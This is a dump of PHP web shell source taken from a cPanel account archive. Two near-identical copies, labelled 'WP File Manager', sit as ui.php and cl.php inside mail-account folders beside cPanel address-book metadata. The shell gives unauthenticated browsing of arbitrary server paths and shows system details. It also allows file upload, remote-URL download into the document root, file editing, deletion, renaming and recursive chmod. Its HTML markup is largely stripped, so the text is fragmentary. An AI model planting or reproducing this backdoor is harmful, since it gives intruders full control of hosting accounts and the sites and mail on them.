"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ësend@gazetaliria.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]('ABBinfo@leonora.al/.metadatanu„[µü¤[addressbook] displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 type VADDRESSBOOK [calendar] type VCALENDAR displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. protected 1 PK’&{]„N9³§Ë§Ëinfo@leonora.al/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { 